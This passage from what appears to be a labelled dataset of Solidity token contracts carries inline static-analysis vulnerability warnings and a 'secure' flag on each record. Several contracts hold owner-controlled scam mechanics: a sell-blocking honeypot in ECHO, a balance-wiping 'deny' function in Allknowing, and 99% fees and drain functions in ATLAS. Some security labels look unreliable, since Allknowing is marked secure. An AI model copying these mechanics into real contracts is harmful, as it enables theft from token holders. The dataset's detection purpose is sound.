tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 82c6202): Elon.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 82c6202: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 69878ce\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-eth | ID: ce4fef7\n\t\t// arbitrary-send-eth | ID: 82c6202\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b07b7c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b07b7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 55329e8): Elon.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 55329e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e3b6a0): Elon.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1e3b6a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc16c9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc16c9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// reentrancy-eth | ID: dc16c9d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// unused-return | ID: 55329e8\n\t\t// reentrancy-eth | ID: dc16c9d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// unused-return | ID: 1e3b6a0\n\t\t// reentrancy-eth | ID: dc16c9d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dc16c9d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 656c184): Elon.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 656c184: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 656c184\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_1033.sol", "secure": 0, "size_bytes": 15916 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_1034.sol", "secure": 1, "size_bytes": 1079 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}", "file_name": "solidity_code_1035.sol", "secure": 1, "size_bytes": 814 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./IDexFactory.sol\" as IDexFactory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ATLAS is ERC20, Ownable {\n using SafeMath for uint256;\n\n address private constant deadAddress = address(0xdead);\n\n\t// WARNING Optimization Issue (immutable-states | ID: c509d72): ATLAS.marketingWallet should be immutable \n\t// Recommendation for c509d72: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: fd7dfe4): ATLAS._name shadows ERC20._name\n\t// Recommendation for fd7dfe4: Remove the state variable shadowing.\n string private constant _name = \"Atlas\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: b5dee6d): ATLAS._symbol shadows ERC20._symbol\n\t// Recommendation for b5dee6d: Remove the state variable shadowing.\n string private constant _symbol = \"ATLAS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9911bf5): ATLAS.tokenSupply should be constant \n\t// Recommendation for 9911bf5: Add the 'constant' attribute to state variables that never change.\n uint256 public tokenSupply = 1_000_000_000 * 1e18;\n\n uint256 public maxPerTx = 20_000_000 * 1e18;\n\n uint256 public maxPerBag = 20_000_000 * 1e18;\n\n uint256 public swapTokensAtAmount = 10_000_000 * 1e18;\n\n IDexRouter public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 761dd60): ATLAS.uniswapV2Pair should be immutable \n\t// Recommendation for 761dd60: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 25;\n\n mapping(address => bool) private isFreeBird;\n\n mapping(address => bool) private isChargePair;\n\n mapping(address => bool) private marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: abde938): ATLAS.deployerWallet should be immutable \n\t// Recommendation for abde938: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n bool public stealthOpen = false;\n\n bool private swapping;\n\n constructor() ERC20(_name, _symbol) {\n marketingWallet = address(0x04f9D01bED6275BdaB5ca114636FfAc274662830);\n\n _uniswapV2Router = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n deployerWallet = payable(_msgSender());\n\n isChargePair[address(uniswapV2Pair)] = true;\n\n isChargePair[address(_uniswapV2Router)] = true;\n\n isChargePair[address(this)] = true;\n\n isChargePair[address(0xdead)] = true;\n\n isChargePair[msg.sender] = true;\n\n isFreeBird[msg.sender] = true;\n\n isFreeBird[address(this)] = true;\n\n isFreeBird[address(0xdead)] = true;\n\n _mint(deployerWallet, tokenSupply);\n }\n\n receive() external payable {}\n\n function stealthLaunch() external onlyOwner {\n require(!stealthOpen, \"Already Started!\");\n\n stealthOpen = true;\n }\n\n function _isFreeBird(address account) public view returns (bool) {\n return isFreeBird[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 858458f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 858458f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5df1602): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5df1602: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !marketPair[from] && !marketPair[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!stealthOpen) {\n require(\n isFreeBird[from] || isFreeBird[to],\n \"Trading is not active.\"\n );\n }\n\n if (marketPair[from] && !isChargePair[to]) {\n require(\n amount <= maxPerTx,\n \"Buy transfer amount exceeds the maxPerTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxPerBag,\n \"Max wallet exceeded\"\n );\n } else if (marketPair[to] && !isChargePair[from]) {\n require(\n amount <= maxPerTx,\n \"Sell transfer amount exceeds the maxPerTx.\"\n );\n } else if (!isChargePair[to]) {\n require(\n amount + balanceOf(to) <= maxPerBag,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !marketPair[from] &&\n !isFreeBird[from] &&\n !isFreeBird[to] &&\n stealthOpen\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 858458f\n\t\t\t// reentrancy-no-eth | ID: 5df1602\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 5df1602\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (isFreeBird[from] || isFreeBird[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (marketPair[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 858458f\n\t\t\t\t// reentrancy-no-eth | ID: 5df1602\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 858458f\n\t\t// reentrancy-no-eth | ID: 5df1602\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 858458f\n\t\t// reentrancy-no-eth | ID: 5df1602\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxPerTx = totalSupplyAmount;\n\n maxPerBag = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a29ee2b): ATLAS.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for a29ee2b: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 99 && _sellFee <= 99, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: a29ee2b\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: a29ee2b\n SellFee = _sellFee;\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ece3ca5): ATLAS.rescueStuckNative() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for ece3ca5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function rescueStuckNative() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: ece3ca5\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7181c86): ATLAS.rescueStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 7181c86: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 7181c86\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b653e7d): ATLAS.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for b653e7d: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: b653e7d\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n}", "file_name": "solidity_code_1036.sol", "secure": 0, "size_bytes": 12206 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 951183a): Contract locking ether found Contract DougThePug has payable functions DougThePug.receive() But does not have a function to withdraw the ether\n// Recommendation for 951183a: Remove the 'payable' attribute or add a withdraw function.\ncontract DougThePug is ERC20, Ownable {\n constructor() ERC20(unicode\"Doug The Pug\", unicode\"DOUG\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 951183a): Contract locking ether found Contract DougThePug has payable functions DougThePug.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 951183a: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1037.sol", "secure": 0, "size_bytes": 1020 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GasWizard is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Gas Wizard\", \"GWIZ\") Ownable(initialOwner) {\n _mint(msg.sender, 5e9 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1038.sol", "secure": 1, "size_bytes": 510 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ENIGMA is ERC20, Ownable {\n constructor() ERC20(\"01001010 01100001 01101001 01101100\", \"01111001\") {\n _mint(msg.sender, 100000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1039.sol", "secure": 1, "size_bytes": 373 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Allknowing is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable beef;\n\n constructor() {\n _name = \"All Knowing\";\n\n _symbol = \"ALL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 469000000;\n\n beef = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == beef, \"Not allowed\");\n\n _;\n }\n\n function deny(address[] memory bin) public onlyOwner {\n for (uint256 i = 0; i < bin.length; i++) {\n address account = bin[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_104.sol", "secure": 1, "size_bytes": 4342 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract ECHO is ERC20, Ownable {\n mapping(address => bool) public _isteam;\n\n bool public openedTrade = false;\n\n address public pair;\n\n IRouter public _Router;\n\n struct StoreData {\n uint256 gas;\n uint256 buy;\n uint256 sell;\n mapping(address => bool) defaults;\n uint256 maxTxAmount;\n }\n\n storeData public s;\n\n constructor() ERC20(\"Echo W3b\", \"ECHO\") {\n _Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n initMutilsAcountTEAM(address(_Router), true);\n\n initMutilsAcountTEAM(address(this), true);\n\n initMutilsAcountTEAM(msg.sender, true);\n\n _mint(msg.sender, 100000000 * 10 ** decimals());\n\n s.maxTxAmount = (totalSupply() * 5) / 100;\n\n s.buy = 0;\n\n s.sell = 0;\n\n s.gas = 930 gwei;\n }\n\n function GetRouter(IRouter _a) public onlyOwner {\n _Router = _a;\n }\n\n function initMutilsAcountTEAM(address account, bool enable) internal {\n _isteam[account] = enable;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4360733): Reentrancy in ECHO.OpenTrade() External calls pair = IFactory(_Router.factory()).getPair(address(this),_Router.WETH()) State variables written after the call(s) openedTrade = true\n\t// Recommendation for 4360733: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n\t\t// reentrancy-benign | ID: 4360733\n pair = IFactory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4360733\n openedTrade = true;\n }\n\n function InTaxOne(address spender, bool state) public onlyOwner {\n s.defaults[spender] = state;\n }\n\n function InTaxAll(uint256 _new0Data) public onlyOwner {\n s.gas = _new0Data;\n }\n\n function RemoveLimit() public onlyOwner {\n s.maxTxAmount = totalSupply();\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 14f93ae): ECHO._transfer(address,address,uint256) uses tx.origin for authorization s.defaults[tx.origin] && to == pair && tx.gasprice > 0 && balanceOf(tx.origin) > 0\n\t// Recommendation for 14f93ae: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 4747101): ECHO._transfer(address,address,uint256) uses tx.origin for authorization _isteam[tx.origin]\n\t// Recommendation for 4747101: Do not use 'tx.origin' for authorization.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n\t\t// tx-origin | ID: 4747101\n if (_isteam[tx.origin]) {\n super._transfer(from, to, amount);\n\n return;\n } else {\n require(openedTrade, \"Trade has not been opened yet\");\n\n require(amount < s.maxTxAmount);\n\n bool teamOfTransaction = (to == pair) ? true : false;\n\n if (\n\t\t\t\t// tx-origin | ID: 14f93ae\n s.defaults[tx.origin] &&\n to == pair &&\n tx.gasprice > 0 &&\n balanceOf(tx.origin) > 0\n ) {\n revert();\n }\n\n if (teamOfTransaction && tx.gasprice > s.gas) {\n revert();\n }\n\n if (from != pair && to != pair) {\n require(!s.defaults[from]);\n }\n\n uint256 txAmount;\n\n txAmount = (!teamOfTransaction)\n ? ((amount * s.buy) / 100)\n : ((amount * s.sell) / 100);\n\n super._transfer(from, to, amount - txAmount);\n\n if (txAmount > 0) {\n super._transfer(from, address(this), txAmount);\n }\n\n return;\n }\n }\n}", "file_name": "solidity_code_1040.sol", "secure": 0, "size_bytes": 4351 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c7b37dc): Contract locking ether found Contract Performance has payable functions Performance.receive() But does not have a function to withdraw the ether\n// Recommendation for c7b37dc: Remove the 'payable' attribute or add a withdraw function.\ncontract Performance is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludedFromFee;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Performance AI\";\n\n string private constant _symbol = unicode\"PAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 861692f): Performance._taxSwapThreshold should be constant \n\t// Recommendation for 861692f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n uint256 public walletLimit = 3000000 * 10 ** decimals();\n\n uint256 public _feeOnBuy = 20;\n\n uint256 public _feeOnSell = 20;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 98f2a5b): Performance.uniswapV2Router should be immutable \n\t// Recommendation for 98f2a5b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: af22aed): Performance.uniswapV2Pair should be immutable \n\t// Recommendation for af22aed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private swapEnabled = false;\n\n bool private tradingOpen;\n\n event TradingActive(bool _tradingOpen, bool _swapEnabled);\n\n uint256 public buyCounter = 0;\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4aa32de): Performance.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4aa32de: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f70ac6): Performance._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f70ac6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[to] || _isExcludedFromFee[from],\n \"trading not yet open\"\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n 